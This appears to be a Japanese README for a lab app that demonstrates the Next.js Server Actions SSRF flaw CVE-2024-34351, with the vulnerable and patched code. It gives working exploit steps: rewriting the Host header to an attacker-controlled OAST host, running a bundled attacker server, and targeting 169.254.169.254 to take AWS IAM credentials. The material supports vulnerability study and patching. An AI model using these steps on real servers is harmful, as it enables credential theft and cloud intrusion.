
Next.js Server Actions における Server-Side Request Forgery (SSRF) 脆弱性である CVE-2024-34351 を実証するための最小限の Next.js 14.0.0 アプリケーション。
Assetnote の Adam Kues 氏と Shubham Shah 氏によって発見されました。Next.js 14.1.1 で修正されました。
Server Action が redirect('/some-path') を呼び出すと、Next.js は受信リクエストの Host ヘッダーを検証なしで使用して内部 fetch URL を構築します:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
Host ヘッダーを制御する攻撃者は、この内部 fetch をサーバーが到達可能な任意の宛先に向けることができます。
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh は、Next.js サーバーが攻撃者が制御するホストに対してアウトバウンドリクエストを送信することを確認するのに役立ちます。
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
Burp Suite で:
http://localhost:3000 を開き、インターセプトを ON にした状態でログインフォームを送信するHost: localhost:3000 を Host: abc123.oast.fun に変更するこれにより、アウトバウンド SSRF が証明されます。このリクエストはブラウザではなくサーバープロセスから発信されます。
interactsh はレスポンスを制御できないため、Next.js は GET まで進みません。完全なレスポンスボディを取得するには、同梱の攻撃者サーバーを使用します:
python3 attacker/attacker_server.py 8888
Host ヘッダーを <your-lan-ip>:8888 に設定して転送します。攻撃者サーバーは HEAD リクエストに対して Content-Type: text/x-component で応答し、GET をトリガーします。完全なレスポンスボディは、Burp で確認できる Next.js のレスポンス内に返されます。
脆弱なアプリを AWS EC2 インスタンス上で実行している場合は、Host ヘッダーを次のように設定します:
Host: 169.254.169.254
Next.js はインスタンスメタデータサービスからフェッチします。IAM 認証情報を取得するには:
Host: 169.254.169.254
その後、リダイレクトパスを調整するか、フォローアップリクエストを使用して次をターゲットにします:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
完全なメタデータレスポンスが攻撃者のブラウザに返されます。
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
修正では process.env.__NEXT_PRIVATE_ORIGIN が優先されます。これはサーバー起動時に設定され、攻撃者が制御することはできません。